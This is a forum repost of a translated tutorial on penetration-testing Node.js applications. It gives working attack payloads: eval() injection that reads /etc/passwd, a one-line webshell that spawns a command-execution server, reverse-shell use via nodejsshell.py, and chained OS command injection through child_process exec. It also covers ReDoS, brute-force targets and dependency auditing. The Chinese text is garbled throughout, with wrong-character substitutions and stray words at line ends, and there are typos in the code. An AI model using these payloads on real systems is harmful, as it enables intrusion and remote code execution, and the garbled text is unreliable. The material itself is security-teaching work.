本篇文章较为详细的讲述了经过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞能够在多种工具下的不一样利用方式。由于我认为会对论坛部分web安全新手有所帮助,因此整理到论坛中。php
PentestingNode.js Application : Nodejs Application Securityhtml
原文地址:http://www.websecgeeks.com/20...node
由prison翻译整理,首发i春秋。python
引言:web
因为原文地址在墙外,因此作下简介: 本篇文章较为详细的讲述了经过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞能够在多种工具下的不一样利用方式。由于我认为会对论坛部分web安全新手有所帮助,因此整理到论坛中。难度系数:三颗星。
关于Node.js的介绍咱们这里就再也不赘述。正则表达式
今天咱们主要讲下Node.js的一些能够对渗透测试工做有一些帮助的漏洞。为了更好地让你们理解,我会对其中一些代码进行分shell
析。express
1 你能够很容易的从网络上下载并安装Node.js到本身的电脑npm
2 在咱们的事例中我使用了Node.js的一个框架Express,你能够把它安装到本身的电脑json
建立一个目录,我这里命名为nodeapp
$ mkdir nodeapp
$ cd nodeapp
用npm init 命令为你的项目建立一个package.json文件。
这个命令会询问你一些像是项目名称,版本之类的问题,你能够一直按回车键选择默认。
如今在nodeapp目录下安装Express
$npm install expres –save
你也能够选择临时安装express,而不将它添加到依赖项列表中。
$npm install express
Eval()函数很危险远程代码执行(利用服务器端JavaScript注入)【JavaScript任意代码执行】
eval()是一个危险的函数,任何输入均可以经过它执行,造成一种远程命令执行场景,程序能够越权执行。
示例1:
var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z); // returns 10
Both eval() will return value 10.
示例2:
ar express = require('express');[/align]var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output'+resp);
});
app.listen(8001);
[codeexe.js]
如你所见,显然eval函数从输入参数中获取输入,而不须要转义或过滤直接传递给eval()。这是一个很常见的典型的例子。
用户能够经过将代码传递给输入参数来利用这个漏洞。
首先咱们启动咱们的js代码
node filename.js
node codexe.js
若是你启动时看到一些错误,多是其余正在运行的服务占用了端口,因此首先咱们要用ps命令找到这些服务。
kill掉pid为2959的codexe.js
咱们接着启动js代码
首先,咱们将一个简单的用户输入传递给咱们代码中的输入参数:http://127.0.0.1:8001/?4444441111
咱们用一些关于Node.js代码执行的payload
process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.getgroups()
process.pid
process.platform
process.version
丢到Burp的Intruder:
导入咱们的payload
从爆破结果来看,咱们能够发现其中一个叫作process.cwd()返回了当前目录值”/Users/narendrabhati/Node JS Pentesting”
确认以后,咱们就能够在文件中作一些咱们想作的坏事啦~
http://127.0.0.1:8001/?input=...‘fs’).readFileSync(‘/etc/passwd’).toString())
如今咱们搞一个简单的webshell,像PHP shell那样婶儿的,你能够在其中执行/注入系统命令。
下面的payload将会启动一个新的服务器,或者在八秒后你能够在8002端口上找到一个新的node.js应用。让咱们搞点花样出来:
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)
8秒以后你能够经过cmd进行命令执行、
http://127.0.0.1:8002/?cmd=ls...–a:whoami
反向链接Reverse Shell要得到一个反向shell,咱们可使用nodejsshell.py你能够在这里找到python脚本
该脚本将根据攻击者ip和攻击者本地端口建立一个js代码。
当您与node js应用程序有直接链接时,或者二者都在同一个网络中,这就很是方便了。
下面我用Kali机器192.168.131.134测试了成功Ping,而后运行了nodejsshell.py个人kali机器ip地址为192.168.131.134,端口4444。
个人kali在等待链接4444端口:
我经过nodejsshell.py在这个项目中注入代码:
而后个人kali获得了一个反向shell
2)远程操做系统命令执行
相似于远程代码执行(利用服务器端JavaScript注入),这个漏洞也容许攻击者执行任意的命令执行。关键的区别在于,这个漏洞
的出现是由于因为使用了不安全的容许在系统间进行交互的exe.exec形成的。
[nodejsrce.js]
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
{
response.write("RCE-DEMO " + data);
});
}).listen(8005);
经过查看源代码,咱们能够说,exe。exec经过注入参数接受用户输入,而不须要过滤或转义用户输入。所以,用户/攻击者能够注入任何容许他执行nodejs远程OS命令执行的值。
下面是咱们的应用程序ping命令示例。
http://127.0.0.1:8005/?inject...
我不打算将命令执行的基础知识,你能够在网络上找到关于命令执行的文章。
咱们构造出一个典型的命令执行url:
http://127.0.0.1:8005/?inject... ls
咱们能够同时传递多个命令:
http://127.0.0.1:8005/?inject... ; whoami ; pwd ; ls-al
3) RegExp DOS 漏洞关于这个漏洞请参考:https://www.owasp.org/index.p...
正则表达式拒绝服务(ReDoS)是拒绝服务攻击,它利用了一个事实,即大多数正则表达式实现可能会到达极端状况,致使它们的工做很是缓慢(与输入大小相关)。而后,攻击者就可使用正则表达式来执行一个程序,从而进入这些极端状况,而后挂起很长一段时间。
在短期内,攻击者能够经过发送大量假数据来滥用正则表达式验证,这使得应用程序消耗大量服务器资源,从而致使其余用户没法得到服务/应用程序的可用性。
[ nodejsregexp.js]
var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
response.write("Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8006);
在输入var emailExpression= /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;以后,容易受到DOS攻击,攻击者能够将大量的输入传递给应用程序。致使服务/应用程序不可用。
http://127.0.0.1:8006/?email=...
这样大量的输入将会致使应用程序大量消耗服务器资源。
4 ) Brute Force/Rate LimitProtection在对node js应用程序进行测试时,老是寻找能够执行暴力/wordlist攻击的端点。例如:
A)忘记了密码表单:尝试枚举现有的用户
B)OTP-OTP主要用于密码重置,移动验证,建立账户
C)密码重置代码:有时密码重置令牌可能存在爆破可能。
5)NPM
现有的npm包可能有一些存在的漏洞。如今Node安全项目对此进行了补救。
使用NSP工具,咱们能够查找现有的漏洞。
如下命令将安装nps。
npm i nsp –g
nsp check module-name-to-audited[检查是否有漏洞]
或者是
nsp module-name-to-audite.json
6)自动扫描
咱们可使用NodeJSScan进行自动化的漏洞扫描。